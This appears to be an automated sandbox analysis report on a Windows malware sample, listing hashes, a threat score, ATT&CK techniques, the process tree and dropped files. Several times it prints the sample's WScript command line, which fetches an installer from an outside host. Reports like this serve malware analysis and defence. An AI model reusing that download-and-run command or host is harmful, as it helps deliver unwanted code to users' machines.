56e6a780ac16acf3e5f42fd511424223a0b0cc0c60074a0d4a4ff1a70d09cb2d

Analysis

max time kernel
119s
max time network
125s
platform
windows7_x64
resource
win7-20240221-en
resource tags

arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
submitted
03/06/2024, 05:15

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

90a599f38f9db53b7bdd9fbae210cae7_JaffaCakes118.exe
Size

184KB
MD5

90a599f38f9db53b7bdd9fbae210cae7
SHA1

cfa78d72eded90c969c7642161215cb6bb8b957e
SHA256

56e6a780ac16acf3e5f42fd511424223a0b0cc0c60074a0d4a4ff1a70d09cb2d
SHA512

0c70bb8ae8143b8e81a13225294302ceeb677984ba5d11c095fa4e2c9cb62a238b2621ed48ad86db3a686d36cdbd56232cea62a0998df0afe5970af55fa244e7
SSDEEP

3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO3y/:/7BSH8zUB+nGESaaRvoB7FJNndnH/

Score

8^/10

execution

Malware Config

Signatures

Blocklisted process makes network request 11 IoCs

flow	pid	Process
6	2220	WScript.exe
8	2220	WScript.exe
10	2220	WScript.exe
12	2372	WScript.exe
13	2372	WScript.exe
15	2016	WScript.exe
16	2016	WScript.exe
18	1168	WScript.exe
19	1168	WScript.exe
22	2400	WScript.exe
23	2400	WScript.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
1288	2804	WerFault.exe	27

Suspicious use of WriteProcessMemory 24 IoCs

description	pid	Process	procid_target
PID 2804 wrote to memory of 2220	2804	90a599f38f9db53b7bdd9fbae210cae7_JaffaCakes118.exe	28
PID 2804 wrote to memory of 2220	2804	90a599f38f9db53b7bdd9fbae210cae7_JaffaCakes118.exe	28
PID 2804 wrote to memory of 2220	2804	90a599f38f9db53b7bdd9fbae210cae7_JaffaCakes118.exe	28
PID 2804 wrote to memory of 2220	2804	90a599f38f9db53b7bdd9fbae210cae7_JaffaCakes118.exe	28
PID 2804 wrote to memory of 2372	2804	90a599f38f9db53b7bdd9fbae210cae7_JaffaCakes118.exe	30
PID 2804 wrote to memory of 2372	2804	90a599f38f9db53b7bdd9fbae210cae7_JaffaCakes118.exe	30
PID 2804 wrote to memory of 2372	2804	90a599f38f9db53b7bdd9fbae210cae7_JaffaCakes118.exe	30
PID 2804 wrote to memory of 2372	2804	90a599f38f9db53b7bdd9fbae210cae7_JaffaCakes118.exe	30
PID 2804 wrote to memory of 2016	2804	90a599f38f9db53b7bdd9fbae210cae7_JaffaCakes118.exe	32
PID 2804 wrote to memory of 2016	2804	90a599f38f9db53b7bdd9fbae210cae7_JaffaCakes118.exe	32
PID 2804 wrote to memory of 2016	2804	90a599f38f9db53b7bdd9fbae210cae7_JaffaCakes118.exe	32
PID 2804 wrote to memory of 2016	2804	90a599f38f9db53b7bdd9fbae210cae7_JaffaCakes118.exe	32
PID 2804 wrote to memory of 1168	2804	90a599f38f9db53b7bdd9fbae210cae7_JaffaCakes118.exe	34
PID 2804 wrote to memory of 1168	2804	90a599f38f9db53b7bdd9fbae210cae7_JaffaCakes118.exe	34
PID 2804 wrote to memory of 1168	2804	90a599f38f9db53b7bdd9fbae210cae7_JaffaCakes118.exe	34
PID 2804 wrote to memory of 1168	2804	90a599f38f9db53b7bdd9fbae210cae7_JaffaCakes118.exe	34
PID 2804 wrote to memory of 2400	2804	90a599f38f9db53b7bdd9fbae210cae7_JaffaCakes118.exe	38
PID 2804 wrote to memory of 2400	2804	90a599f38f9db53b7bdd9fbae210cae7_JaffaCakes118.exe	38
PID 2804 wrote to memory of 2400	2804	90a599f38f9db53b7bdd9fbae210cae7_JaffaCakes118.exe	38
PID 2804 wrote to memory of 2400	2804	90a599f38f9db53b7bdd9fbae210cae7_JaffaCakes118.exe	38
PID 2804 wrote to memory of 1288	2804	90a599f38f9db53b7bdd9fbae210cae7_JaffaCakes118.exe	40
PID 2804 wrote to memory of 1288	2804	90a599f38f9db53b7bdd9fbae210cae7_JaffaCakes118.exe	40
PID 2804 wrote to memory of 1288	2804	90a599f38f9db53b7bdd9fbae210cae7_JaffaCakes118.exe	40
PID 2804 wrote to memory of 1288	2804	90a599f38f9db53b7bdd9fbae210cae7_JaffaCakes118.exe	40

C:\Users\Admin\AppData\Local\Temp\90a599f38f9db53b7bdd9fbae210cae7_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\90a599f38f9db53b7bdd9fbae210cae7_JaffaCakes118.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2804
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf79D1.js" http://www.djapp.info/?domain=jDTTIxHkiN.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=J_lbzRQbZuXNkEhP-MAPjRkMq1-z3n14mGYrhLIFYhRn3mR0fhGFWYMOySy1fpgP3Tqr4GalSgF027qeVQko4TnN8h7QLzH0U3xJfiM4HTyzx-uhliieAHsAuFdn1QCdbTV8zh C:\Users\Admin\AppData\Local\Temp\fuf79D1.exe
  2⤵
  - Blocklisted process makes network request
  PID:2220
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf79D1.js" http://www.djapp.info/?domain=jDTTIxHkiN.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=J_lbzRQbZuXNkEhP-MAPjRkMq1-z3n14mGYrhLIFYhRn3mR0fhGFWYMOySy1fpgP3Tqr4GalSgF027qeVQko4TnN8h7QLzH0U3xJfiM4HTyzx-uhliieAHsAuFdn1QCdbTV8zh C:\Users\Admin\AppData\Local\Temp\fuf79D1.exe
  2⤵
  - Blocklisted process makes network request
  PID:2372
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf79D1.js" http://www.djapp.info/?domain=jDTTIxHkiN.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=J_lbzRQbZuXNkEhP-MAPjRkMq1-z3n14mGYrhLIFYhRn3mR0fhGFWYMOySy1fpgP3Tqr4GalSgF027qeVQko4TnN8h7QLzH0U3xJfiM4HTyzx-uhliieAHsAuFdn1QCdbTV8zh C:\Users\Admin\AppData\Local\Temp\fuf79D1.exe
  2⤵
  - Blocklisted process makes network request
  PID:2016
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf79D1.js" http://www.djapp.info/?domain=jDTTIxHkiN.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=J_lbzRQbZuXNkEhP-MAPjRkMq1-z3n14mGYrhLIFYhRn3mR0fhGFWYMOySy1fpgP3Tqr4GalSgF027qeVQko4TnN8h7QLzH0U3xJfiM4HTyzx-uhliieAHsAuFdn1QCdbTV8zh C:\Users\Admin\AppData\Local\Temp\fuf79D1.exe
  2⤵
  - Blocklisted process makes network request
  PID:1168
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf79D1.js" http://www.djapp.info/?domain=jDTTIxHkiN.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=J_lbzRQbZuXNkEhP-MAPjRkMq1-z3n14mGYrhLIFYhRn3mR0fhGFWYMOySy1fpgP3Tqr4GalSgF027qeVQko4TnN8h7QLzH0U3xJfiM4HTyzx-uhliieAHsAuFdn1QCdbTV8zh C:\Users\Admin\AppData\Local\Temp\fuf79D1.exe
  2⤵
  - Blocklisted process makes network request
  PID:2400
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 2804 -s 488
  2⤵
  - Program crash
  PID:1288

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA

Filesize
1KB

MD5
0fe896c1fe25eb524a8b49a572503f14

SHA1
244f5ac2e4e56bd4a924814ce4ac3ae4f900f94c

SHA256
057d3ab57e61cf3b84e64d0ed324b5ab2a29b4ad2e81a107a17bb24222474e1f

SHA512
718286f53e834eaf6ba5f844980aa1695f8477262d49dee7279241c466dc118328f1e5979ffc09e76fb52a81a0d5cf1f8a96020f6ecf861c057ef0d487f366f0

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\CAF4703619713E3F18D8A9D5D88D6288_F2DAF19C1F776537105D08FC8D978464

Filesize
724B

MD5
8202a1cd02e7d69597995cabbe881a12

SHA1
8858d9d934b7aa9330ee73de6c476acf19929ff6

SHA256
58f381c3a0a0ace6321da22e40bd44a597bd98b9c9390ab9258426b5cf75a7a5

SHA512
97ba9fceab995d4bef706f8deef99e06862999734ebe6a05832c710104479c6337cbf0a76e1c1e0f91566a61334dc100d837dfd049e20da765fe49def684f9c9

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA

Filesize
410B

MD5
69b41a1a79dc189a2623cd0874f7ae2f

SHA1
2df6569b2afa9d50e99b5f39cd66dc31c86fccee

SHA256
68a8a77e39255046536c2c6d2302b62467c67b447318d73b6863c7eada706293

SHA512
776edd31f91b80973d8128af4571d3d6fe1754c9ee8ddb2a9a939584e9c892c49b97e927f117d9387888535b41917d888a62e3805d6d90ab8e138a0bd577d1dd

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
344B

MD5
be534eee294f3d5de65af2c2e7aaa0de

SHA1
aa52015cd05f60c5eb74c1b045ed5333eef794de

SHA256
8cc5af6addd613d090708ccfa7f95934e1f4e9a676a52b147be6ba75cfbdaeeb

SHA512
af19553a23786a470f780aeabdaae4d65e4403019cf71f36ef3b00bd0bf8602778b48091821a3b4ee2f2c70dba054780a6beb10d7ec98425567d99ddf5bc765f

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\CAF4703619713E3F18D8A9D5D88D6288_F2DAF19C1F776537105D08FC8D978464

Filesize
392B

MD5
11a5899b5b808478578d88ac53bbbcf4

SHA1
c67160cf12b3f70c227a88853e7d86230483ccab

SHA256
873339b736b2deffbbdfed301856d4175ae73bcee29dceebf8766aa828ca781e

SHA512
8fa714a6e611308f48136b3a7f1e8b2df28c8979fcbade2bc77fc19bd0025fe9b75b241d477c9e3463626c8c535959f4c85f0722e21f3fffc682ac6ac2f86fca

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\5DKX8QD5\domain_profile[1].htm

Filesize
6KB

MD5
c748e0f010a83717e0ffe9de71f570ee

SHA1
97326808c772faaccd4edb205171a116ad1f469b

SHA256
2e01341156ca7bf1647c447ac9b0289354b6d7f6ee7abe92805d0c1f4af60bc1

SHA512
e34c9d8a11e221628160b50d6f6f7a167f7c4b14f1a201ae4d051122fd5a8790756f6ed112876db37f2c1eb8d99c2b5b1f59974098db26a49c3c112e4098b448

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\5DKX8QD5\domain_profile[1].htm

Filesize
6KB

MD5
2b43fb1659ceab35f4410df31258702e

SHA1
55b652c045f8f661d018e6786314a01abfa5e30a

SHA256
a6ff785e20838f5b5be6e2260f7620f4a662344569a516b1b465889c1734dc97

SHA512
40581e07c619931a42426beb348a586fd4638a6110d242d2157ae53afa917e65cad8e3387b9b69f00e52fb63ed4481ee7d9db217048ef5f7a2f498e4d40b61e3

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\L9PN2QMY\domain_profile[1].htm

Filesize
6KB

MD5
42bca2fbdd8c5414354ad41fb68d9141

SHA1
909ca149c83db1e8e701e31940b69522bcedb238

SHA256
738e3ac223223a787e6c19ed622bd7a11d85ff1d850a86b18e3572f8a63a21bd

SHA512
7b40fba90c45fffa34729b77f90567df2c86954bde6b2aacc31d99fa734d95b1c56b356703c2e0a552c4714f8cd6e97abebbf13d0746507d36b8f6f6255d4353

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\L9PN2QMY\domain_profile[1].htm

Filesize
6KB

MD5
0ff35abbaa023562109b1a062b793820

SHA1
b401826474000c4f9f9a8d0a8f3d50c065a5019d

SHA256
f9540d6db445cc3587c6120262c456ee29cdaf5599a7d484b2c0124d88ee4e90

SHA512
4deaf8d806ec6737836d6bfb319843e9c06b08308a1e87767652fc1f0a3dc9146514112204bca82eb296eb878bec9d26883b624cf5a2ce05f0037820f15117cf

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\L9PN2QMY\domain_profile[1].htm

Filesize
6KB

MD5
ec01fb7fcfdaaf160582984b35d70bec

SHA1
396cee12882e6f1a1437ad5bbb83e46f311e1057

SHA256
7959d08f17281bbf4f80ab7cdcfaaa2b3d7fef9c70536a98affd6575153eca68

SHA512
3a72f527a17f701a3ddf67e051f0e9f33296a184e93e3704499aaac4795fca4671438be75e2ca2ea6af3b839cd93b684f7a98321067408def686e76ee9be3f7a

Download Submit
C:\Users\Admin\AppData\Local\Temp\CabC284.tmp

Filesize
65KB

MD5
ac05d27423a85adc1622c714f2cb6184

SHA1
b0fe2b1abddb97837ea0195be70ab2ff14d43198

SHA256
c6456e12e5e53287a547af4103e0397cb9697e466cf75844312dc296d43d144d

SHA512
6d0ef9050e41fbae680e0e59dd0f90b6ac7fea5579ef5708b69d5da33a0ece7e8b16574b58b17b64a34cc34a4ffc22b4a62c1ece61f36c4a11a0665e0536b90d

Download Submit
C:\Users\Admin\AppData\Local\Temp\TarDA97.tmp

Filesize
171KB

MD5
9c0c641c06238516f27941aa1166d427

SHA1
64cd549fb8cf014fcd9312aa7a5b023847b6c977

SHA256
4276af3669a141a59388bc56a87f6614d9a9bdddf560636c264219a7eb11256f

SHA512
936ed0c0b0a7ff8e606b1cc4175a1f9b3699748ccbba1c3aff96203033d2e9edabf090e5148370df42fbfc4e31d7229493706ff24f19ff42ff7bef74a6baad06

Download Submit
C:\Users\Admin\AppData\Local\Temp\fuf79D1.js

Filesize
3KB

MD5
3813cab188d1de6f92f8b82c2059991b

SHA1
4807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb

SHA256
a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e

SHA512
83b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Cookies\IQYZUQQM.txt

Filesize
175B

MD5
2fa0df3f03d3ca02c29105dcbc0a1ee9

SHA1
dcd28becc63275fc199c6914b35231d19206b006

SHA256
5a8973b77d6950845155c76fa93ca4d627071e46fe8ebe09b7f5b5677d9ee812

SHA512
86f22d86705a7c44571689c03646d2de5ee09b4c5e52ac8c942b797dbdef3c4986902b70f046f44a92d3fb486d9b0c590a1bab92551ec798557382d270a80904

Download Submit